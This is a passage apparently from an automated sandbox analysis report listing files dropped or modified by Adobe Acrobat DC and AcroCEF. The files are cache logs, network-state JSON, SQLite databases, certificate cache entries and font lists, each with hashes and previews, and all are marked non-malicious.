C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.122543674377741
Encrypted:	false
SSDEEP:	6:HuXSL+q2PRN2nKuAl9Ombzo2jMGIFUt8YuXK1Zmw+YuXzLVkwORN2nKuAl9Ombzz:iSL+vaHAa8uFUt85M/+5zLV5JHAa8RJ
MD5:	2AB7882BEC90A39566DFDF27BB290DF3
SHA1:	F77FC5D5C25A7DC99ECDB9672397B3BA754CFB85
SHA-256:	D8771C8750DBE5D0F033388A328279188BD2E98485BD9272FAF0FAAD32A145CC
SHA-512:	B55B658A63A9F03CAC8AAF2574213298AA32B79AEF3FBD95774B2B83EE2F5501CD0B16DB2C8DB8590B0C2FFFA97E8BA72A55553FA5B3A7E84C7DB6F9F4F038C0
Malicious:	false
Reputation:	low
Preview:	2024/11/20-09:41:17.407 1a7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/11/20-09:41:17.416 1a7c Recovering log #3.2024/11/20-09:41:17.417 1a7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0d326470-8734-41b7-9c24-d31699bb05de.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	403
Entropy (8bit):	4.980193767962001
Encrypted:	false
SSDEEP:	12:YHO8sq8yhsBdOg2HVAcaq3QYiubrP7E4TX:YXsBdMHVr3QYhbz7n7
MD5:	EEFD01A70CDCBD1F8A2F06D54630AEB1
SHA1:	84D7CF08BD9EE6B693E0FEC8121ECE734F0A18E2
SHA-256:	B84B3D38909FCCB564A7FE1DFE15FA97C63A3C96C9076285BCF6D34F1E1EC831
SHA-512:	3B37D15C9A7DD48DED67D4EAA43E6BECA39B1808A405B3188840F9F7A81AEF626808EA9B0F6C8077ABFB6CE36FD572CC7A5A0A3C1D10AD959E0FDC00F49E7DFB
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376673686812194","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":690171},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	403
Entropy (8bit):	4.980193767962001
Encrypted:	false
SSDEEP:	12:YHO8sq8yhsBdOg2HVAcaq3QYiubrP7E4TX:YXsBdMHVr3QYhbz7n7
MD5:	EEFD01A70CDCBD1F8A2F06D54630AEB1
SHA1:	84D7CF08BD9EE6B693E0FEC8121ECE734F0A18E2
SHA-256:	B84B3D38909FCCB564A7FE1DFE15FA97C63A3C96C9076285BCF6D34F1E1EC831
SHA-512:	3B37D15C9A7DD48DED67D4EAA43E6BECA39B1808A405B3188840F9F7A81AEF626808EA9B0F6C8077ABFB6CE36FD572CC7A5A0A3C1D10AD959E0FDC00F49E7DFB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376673686812194","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":690171},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.23446792296387
Encrypted:	false
SSDEEP:	96:OLSw0bSwIAnrRqLX2rSq1OUxu/0OZ0xRBTxekN8xesS03:OLT0bTIeYa51Ogu/0OZARBT8kN88v03
MD5:	782ECFBBD87357A40E315012BA78548A
SHA1:	142754D5BA6ADA67DFA68B542CFBD8A27DC3FA37
SHA-256:	A6BC16943F9A84384665ABD4C2BE0D148E47932520172C84D92FEA3C7005128C
SHA-512:	6C998A23CB83397F6B2D9E367CED559CCC088FEB725A407DACD7211B697EB3DECF825AC12BE8268E080F146F8DB1861A4EE5ECD11DE14D06F0A96357820073C2
Malicious:	false
Preview:	*...#................version.1..namespace-e...o................next-map-id.1.Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/.0y.S_r................next-map-id.2.Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/.16.X:r................next-map-id.3.Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/.2.P.@o................next-map-id.4.Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/.346.+^...............Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/....^...............Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/..?&a...............Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/_...a...............Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/...o................next-map-id.5.Pnamespace-07af9ee9_2076_4f12_94b5_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.186942121111513
Encrypted:	false
SSDEEP:	6:HuXLdL+q2PRN2nKuAl9OmbzNMxIFUt8YuX4o1Zmw+YuXujLVkwORN2nKuAl9Ombg:iJL+vaHAa8jFUt854m/+5GLV5JHAa84J
MD5:	30F702147D7DD9F577FF9E8739D65F49
SHA1:	6D1CCC4F98789B6D12080FED4737A3D2005D9FA3
SHA-256:	33952F02609FEDBB569ED68C97377A4DBBE1FCC7323125CC716DE270F645FF07
SHA-512:	AB499C8303CB3725C9350ABBD2DB27772DF0E0B9A685B7762F283861BF9E7AF4FC219355B9847DC7E6D19482851B5F9F5185D87FA1FBBAAB1BBCD40E561CC88B
Malicious:	false
Preview:	2024/11/20-09:41:17.851 1a7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/20-09:41:17.853 1a7c Recovering log #3.2024/11/20-09:41:17.854 1a7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.186942121111513
Encrypted:	false
SSDEEP:	6:HuXLdL+q2PRN2nKuAl9OmbzNMxIFUt8YuX4o1Zmw+YuXujLVkwORN2nKuAl9Ombg:iJL+vaHAa8jFUt854m/+5GLV5JHAa84J
MD5:	30F702147D7DD9F577FF9E8739D65F49
SHA1:	6D1CCC4F98789B6D12080FED4737A3D2005D9FA3
SHA-256:	33952F02609FEDBB569ED68C97377A4DBBE1FCC7323125CC716DE270F645FF07
SHA-512:	AB499C8303CB3725C9350ABBD2DB27772DF0E0B9A685B7762F283861BF9E7AF4FC219355B9847DC7E6D19482851B5F9F5185D87FA1FBBAAB1BBCD40E561CC88B
Malicious:	false
Preview:	2024/11/20-09:41:17.851 1a7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/11/20-09:41:17.853 1a7c Recovering log #3.2024/11/20-09:41:17.854 1a7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 2, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	3.291927920232006
Encrypted:	false
SSDEEP:	192:vedRBvVui5V4R4dcQ5V4R4RtYWtEV2UUTTchqGp8F/7/z+FP:veBci5H5FY+EUUUTTcHqFzqFP
MD5:	A4D5FECEFE05F21D6F81ACF4D9A788CF
SHA1:	1A9AC236C80F2A2809F7DE374072E2FCCA5A775C
SHA-256:	83BE4623D80FFB402FBDEC4125671DF532845A3828A1B378D99BD243A4FD8FF2
SHA-512:	FF106C6B9E1EA4B1F3E3AB01FAEA21BA24A885E63DDF0C36EB0A8C3C89A9430FE676039C076C50D7C46DC4E809F6A7E35A4BFED64D9033FEBD6121AC547AA5E9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	16928
Entropy (8bit):	1.214275208313342
Encrypted:	false
SSDEEP:	24:7+tyKyqLi+zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+T:7MByqLmFTIF3XmHjBoGGR+jMz+Lhsqa
MD5:	9B9D0E2E1A504CFAD15811552E40C4F5
SHA1:	EF32D7754919CF4FA212561F33C3B479C1D4C295
SHA-256:	D31362EEAB26EC5E2296595DCC41EA862AAB83CD4764CAD62BFA5F8537DBB5D9
SHA-512:	F0D80A233B4EA7726280720443D20891687C45B5B3B92F7F70303C3A96CDCD4F602546D44885A5A86A416B311E5C21AB44B43BAA8C011CB974B962A55AF9B578
Malicious:	false
Preview:	.... .c.....I...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.770710652184824
Encrypted:	false
SSDEEP:	3:kkFklhLKlXfllXlE/HT8k3rtNNX8RolJuRdxLlGB9lQRYwpDdt:kKX2T8arTNMa8RdWBwRd
MD5:	1CCB258A284BE65E96C2B22AC0AE1BD7
SHA1:	551932B9A330195054FD6FB41E68911E7A7DF64E
SHA-256:	FD5261A1DFCCA9F54386B4B50E599302F13C877FA5333DEBCA26BB57F28B6AD4
SHA-512:	79D3833151996194ABD8AAC9FF2F47FDFD2DA39D73516FDE6515C83EAFFBC27339233AA22690850EB34A8FC89B03F2DD2FFF29E5A0504E16D7896EF6C148A03C
Malicious:	false
Preview:	p...... ...........HZ;..(....................................................... ..........W.....2..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2539954282295116
Encrypted:	false
SSDEEP:	6:kKKF9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:CsDImsLNkPlE99SNxAhUe/3
MD5:	C48D30A2E1DA0327249145B7150CC4CF
SHA1:	FF784C43F4B335687EA2BDC1D58FBCD29D24CF54
SHA-256:	6F0FF9BD2EFD84AABAABA26C4D927C26A4B174FE044BB0DF59D0CDC31FEDF543
SHA-512:	D302F3AD4C7FBCBE6706E73FCA5E49A096EBDA81C27A595785BBFF750D29672231AD4D476EC4134A6F2C46026E6790647120117A2673B7CF035C587CE5468D71
Malicious:	false
Preview:	p...... ...........[Z;..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6888

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6888

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.0822817633830235
Encrypted:	false
SSDEEP:	48:YCAiESAuYCjWbj2CjxjZ4oijxi+0jPjrVbjBgajF:fDWP2ERaTx3y7BPBgMF
MD5:	8C961A33F731964170A9FCE5DB062A57
SHA1:	9C157E197A58CF7AA6F8E1531F96E59B10DB839A
